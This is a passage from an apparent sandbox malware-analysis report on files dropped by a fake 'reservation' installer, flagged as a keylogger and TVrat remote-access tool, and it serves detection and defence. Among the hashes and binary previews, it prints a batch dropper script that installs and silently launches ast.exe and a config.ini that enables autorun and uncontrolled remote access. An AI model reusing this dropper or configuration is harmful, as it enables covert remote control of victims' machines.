SHA-512:	285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388688
Entropy (8bit):	6.85745413435775
Encrypted:	false
SSDEEP:	24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
MD5:	3B838DC25E96877A1852966F75A5C44A
SHA1:	555E1830829B008D66FF591D87AC235F6286AB9A
SHA-256:	292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
SHA-512:	B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!Ly)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\libjpeg-turbo-win.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	713456
Entropy (8bit):	6.620067101616198
Encrypted:	false
SSDEEP:	12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
MD5:	96D413CAAF8C7793A96EF200F6695922
SHA1:	ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
SHA-256:	5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
SHA-512:	93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541880
Entropy (8bit):	5.766958615909
Encrypted:	false
SSDEEP:	12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
MD5:	753B75570811052953F336261E3031BB
SHA1:	2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
SHA-256:	603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
SHA-512:	6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\msvcr120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\opus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	370488
Entropy (8bit):	6.86993159214619
Encrypted:	false
SSDEEP:	6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
MD5:	82E49683F540F78B2D1759CDE594482F
SHA1:	352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
SHA-256:	55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
SHA-512:	F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\quartz.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074302464
Entropy (8bit):	0.007609102467218604
Encrypted:	false
SSDEEP:
MD5:	1E2570A7DD0C8452B18340E4386C1FA3
SHA1:	FE1D6D0D86171E8F9AE64A909C4ADCCA13267B20
SHA-256:	DACBF6D62555C6A75AEEBF978388AB320D3F2B283240C936B82ABD9318ADD699
SHA-512:	02951D9CD5E88D91A10524D811D5673A2A98DB5EB21E97A1273900625A932DD933B82B60B09C5FE28381890471A7B40388CA3ACD84D5FE42BF9A4B4693727F72
Malicious:	true
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L...d.&d...........!...I.p...............................................................@.....................................................................V....................................................................................code....o.......p.................. ..`.data...8............t..............@....rdata..............................@..@.edata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\2teu9t.cfg

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	5.147194987260237
Encrypted:	false
SSDEEP:	3:Sq5uPjUyADkIBtn:Sq58jXRcn
MD5:	8F4CE44A5E8091CB181665143152AFCB
SHA1:	17A094A6F2D68749DFE92C59626291DC45F2F672
SHA-256:	CFDEB9B5BCA81247A01C294F66CAD0E78BC3DE957FDBFF9C907C00AF1718E9A5
SHA-512:	70689E1EF53CCBFFF4E83C6A92A543E5CF122DFD95DD57F61E918C0469C36B2653CE08004447C7A9A7663F0AECFCFB6300AFBE134300F1CFF619420D324C5B11
Malicious:	false
Preview:	..8..DXP;...&..P_.e....SAFH.J.......J....lF

C:\Users\user\AppData\Roaming\fat\AstCrp.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	172216
Entropy (8bit):	6.698242571688099
Encrypted:	false
SSDEEP:	3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
MD5:	CF1169A87FE6266C7B457A2424DA69DA
SHA1:	5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
SHA-256:	24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
SHA-512:	7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............\|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\ast.exe

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7543992
Entropy (8bit):	6.717610928993395
Encrypted:	false
SSDEEP:	98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
MD5:	8002D9E5851728EB024B398CF19DE390
SHA1:	9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
SHA-256:	B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
SHA-512:	6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\fat\ast.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\fat\ast.exe, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Roaming\fat\ast.exe, Author: Joe Security
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......N..................rdata..#.....T......N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

C:\Users\user\AppData\Roaming\fat\astclient.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	581304
Entropy (8bit):	6.580382227041057
Encrypted:	false
SSDEEP:	12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
MD5:	CDC5A8221738C1CA66564755BB58138C
SHA1:	EF096A2CAF133D217C202C147855F2CEE7ECD105
SHA-256:	DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
SHA-512:	A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.\|*Ol..O.\|(O...O.\|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N\|..O.$O\|..O}.LO\|..O..N\|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\astrct.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1724088
Entropy (8bit):	6.573221633911959
Encrypted:	false
SSDEEP:	49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
MD5:	E0E559010A1CC7CB6B6F754E8833A156
SHA1:	0ADB286A1511B9D5820B042EE7D059DAEE8D0978
SHA-256:	A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
SHA-512:	3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..\|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\aw_sas32.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17648
Entropy (8bit):	6.317642988990049
Encrypted:	false
SSDEEP:	384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
MD5:	ACF7048E2347CFD66CD17648DBFBAF45
SHA1:	DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
SHA-256:	F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
SHA-512:	51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...\|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\config.ini

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.193353768565217
Encrypted:	false
SSDEEP:	12:LzSeQNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:HSeWlcMypJD5KxkiaJosBq
MD5:	CAA0C19D802D86B5A6B290897AA864EE
SHA1:	01C139425983B9EC2A8FE42C9D685D1193D5A8BB
SHA-256:	EDEECC1090C314D7397B171CD09E1C208FCCE3B580794BAC425475E4292629FA
SHA-512:	95B595038F720A45449E77E121B0AF3FFA251034EFD6F187C8572C54F667D11F467AF6A5F062F50B60C8001645CA33B5F204482753AF72BDD2AA3A3834BD2C35
Malicious:	false
Preview:	[config]..Security.FixPass=96E79218965EB72C92A549DD5A330112..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

C:\Users\user\AppData\Roaming\fat\fguwrtug.bmp

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	7.9500738973365355
Encrypted:	false
SSDEEP:	192:Nr2Ya94sQ6EqghLbOU+fWt1t7ZPA+KAMcB6Bk0Nmd32iF2la8XncszJfBzG1:p2Ya94s8q8+fQttI+8cABGJ4la8vVfp6
MD5:	15955D8B74435C9CA1A6E273644CE86B
SHA1:	E43F73B27A7F76014706296339F4CE1C71C86EFE
SHA-256:	796097E407FE8EB02A965CD5416DDAE0C1F178C153A71FCF8590F4BED4F5A389
SHA-512:	38593F7523D416A4E0BC855F52BA76B1ABE1F65E912ED5E892DE4C210B0055B07472DA5B8C0CB731BC1E4B26C43FF2A346CE84B893907AB121EB74D6555296C8
Malicious:	false
Preview:	......JFIF.................................................. ,$..) ..&6&).2333."9>;1=,230...........2)$)52222222222822222222222222222222222222222222222222...........".......................................F......................!.1..AQ."aq.2.Bb...#R....3r....C....$s.45DSt.................................(........................!1A"Q.a2q.................?..N....+..@S.W...@....+..../..8..5.=..}.kAD....>q....E..n.r./.Q..v......5..v.l....f?.s.....m.R.Z.......D..u...-....K..U...S.Xt ......^'... ...[gv....Xjm.*p$.~..n.LY.%.,@..x....\|(...Z.X.Uk.1..=...u....U.1.L...@..-r......e...G.Vo.......Vb..P.y.A.....&v5..p..U#Sy.........X..+&-........../.k.A..0$..Jt..t.&.V.\u.q.+....."J..GH..o[.......Tjq"G..o..e.:H.h...:..Ah..=.H..J...V....Y...2.........{.;U.......`...Y..@..'`3....(.s.k..c...eY...03.'.T.V..e@..h \(..vI]...F....Fu.....'...g-.....-..;6L.i.N...W.-.f...WQ..@..ub;.=.[.r..\|k......bL...i.o&..9..m..`....3...a...R.7%.=z..N.s.n.R..b;k......h.5M...h..Ay..........q

C:\Users\user\AppData\Roaming\fat\g3ll5lm.bat

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	395
Entropy (8bit):	4.596567576097278
Encrypted:	false
SSDEEP:	6:hmR9ooW9rw49edspB7utcA2dcvNiccA2dx0HcA2d7DvDTfcA2djLvWVOzwaowQ4:w7Q249edaBS7jfxmfJ8WsQwH
MD5:	21138C5F0FC42E27B57CBADC4CFCB7B7
SHA1:	EBC7FB05FD67B43925EC4EE2A43A2F3152712B28
SHA-256:	C8D896D8DAE872D0FF7ED407E9706E19F798FBADBA7AF7EF48E5EDDA4BF05C23
SHA-512:	20D832E675D2AAB97DF7FC10BAD055F96327F782224C0A1C0F10C4D7CF01CCC7428AB934DA889935C2E67D6FAC959C1F52D796314988168844C5F079B55D67F1
Malicious:	false
Preview:	@echo off..set "StartDirName=fat" ..set "TempDirName=qilq" ..set "BatchName=g3ll5lm.bat" ..set "ProcName=ast.exe" ......mkdir "%appdata%\%StartDirName%"..xcopy /Y /I /S "%~dp0*" "%appdata%\%StartDirName%\"..del /f /q "%appdata%\%StartDirName%\%BatchName%"..start "" "%appdata%\%StartDirName%\%ProcName%"..for /d %%i in (%temp%\%TempDirName%) do rd /s /q %%i..

C:\Users\user\AppData\Roaming\fat\hatls.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2236144
Entropy (8bit):	5.624149670958732
Encrypted:	false
SSDEEP:	24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
MD5:	BCCF6A5C2595EEA84533692BB788D8BB
SHA1:	24318226F145E52B7633A4E9E844D6EAD43B75AC
SHA-256:	ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
SHA-512:	78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...\|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

C:\Users\user\AppData\Roaming\fat\libcrypto-1_1.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533560
Entropy (8bit):	6.236092740507617
Encrypted:	false
SSDEEP:	49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
MD5:	59A3B581020759D52538425A1F5A53D5
SHA1:	4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
SHA-256:	4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
SHA-512:	9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.\|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...\|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\libcryptoMD.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2098416
Entropy (8bit):	6.277915381502377
Encrypted:	false
SSDEEP:	49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
MD5:	1AFC9BD5E625E85B696141F62FBA4325
SHA1:	56FB325125F436D7408808446D58AF50F8AA3BFC
SHA-256:	83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
SHA-512:	02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\libcurl.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	546816
Entropy (8bit):	6.657309146326691
Encrypted:	false
SSDEEP:	12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
MD5:	13CD45DF8AAA584EBD2A40EDE76F1E06
SHA1:	BAA19E6A965621CB315E5F866EDC179EF1D6B863
SHA-256:	3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
SHA-512:	285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\libeay32.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388688
Entropy (8bit):	6.85745413435775
Encrypted:	false
SSDEEP:	24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
MD5:	3B838DC25E96877A1852966F75A5C44A
SHA1:	555E1830829B008D66FF591D87AC235F6286AB9A
SHA-256:	292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
SHA-512:	B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!Ly)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fat\libjpeg-turbo-win.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	713456
Entropy (8bit):	6.620067101616198
Encrypted:	false
